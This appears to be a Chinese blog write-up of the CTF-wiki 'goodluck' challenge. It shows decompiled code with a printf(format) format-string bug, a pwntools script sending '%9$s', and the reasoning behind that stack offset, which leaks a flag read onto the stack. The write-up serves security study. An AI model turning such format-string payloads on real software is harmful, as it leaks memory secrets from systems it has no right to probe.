格式化字符串之CTFwiki-Goodluck

献上goodluck的伪代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [rsp+3h] [rbp-3Dh]
signed int i; // [rsp+4h] [rbp-3Ch]
signed int j; // [rsp+4h] [rbp-3Ch]
char *format; // [rsp+8h] [rbp-38h]
_IO_FILE *fp; // [rsp+10h] [rbp-30h]
char *v9; // [rsp+18h] [rbp-28h]
char v10[24]; // [rsp+20h] [rbp-20h]
unsigned __int64 v11; // [rsp+38h] [rbp-8h]

v11 = __readfsqword(0x28u);
fp = fopen("flag.txt", "r");
for ( i = 0; i <= 21; ++i )
v10[i] = _IO_getc(fp);
fclose(fp);
v9 = v10;
puts("what's the flag");
fflush(_bss_start);
format = 0LL;
__isoc99_scanf("%ms", &format);
for ( j = 0; j <= 21; ++j )
{
v4 = format[j];
if ( !v4 || v10[j] != v4 )
{
puts("You answered:");
printf(format);
puts("\nBut that was totally wrong lol get rekt");
fflush(_bss_start);
return 0;
}
}
printf("That's right, the flag is %s\n", v9);
fflush(_bss_start);
return 0;
}

漏洞点printf(format);

程序逻辑

我们先在本地创建一个flag.txt文件,以保证程序正常运行
1.png
结合伪代码和 ./goodluck 我们发现:
程序用 IO_getc 把 flag.txt 读入栈中,然后让我们输入字符串,最后输出字符串。

献上脚本

1
2
3
4
5
6
7
8
9
10
from pwn import *
from LibcSearcher import *
goodluck = ELF('./goodluck')
sh = process('./goodluck')
payload = "%9$s"
print payload
##gdb.attach(sh)
sh.sendline(payload)
print sh.recv()
sh.interactive()

解题思路

将断点断在printf(fmtstr)上,先后输入
r 和 step。发现printf栈帧周围存在已经入栈的flag.txt的内容。
发现偏移为4。
但是此程序为64位,加上6个寄存器,偏移为10
但是%9$s是不包括fmtstr本身的偏移,所以最终偏移为9
最后写出脚本,泄露flag.txt.

有关flag.txt入栈的细节可以自行研究


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!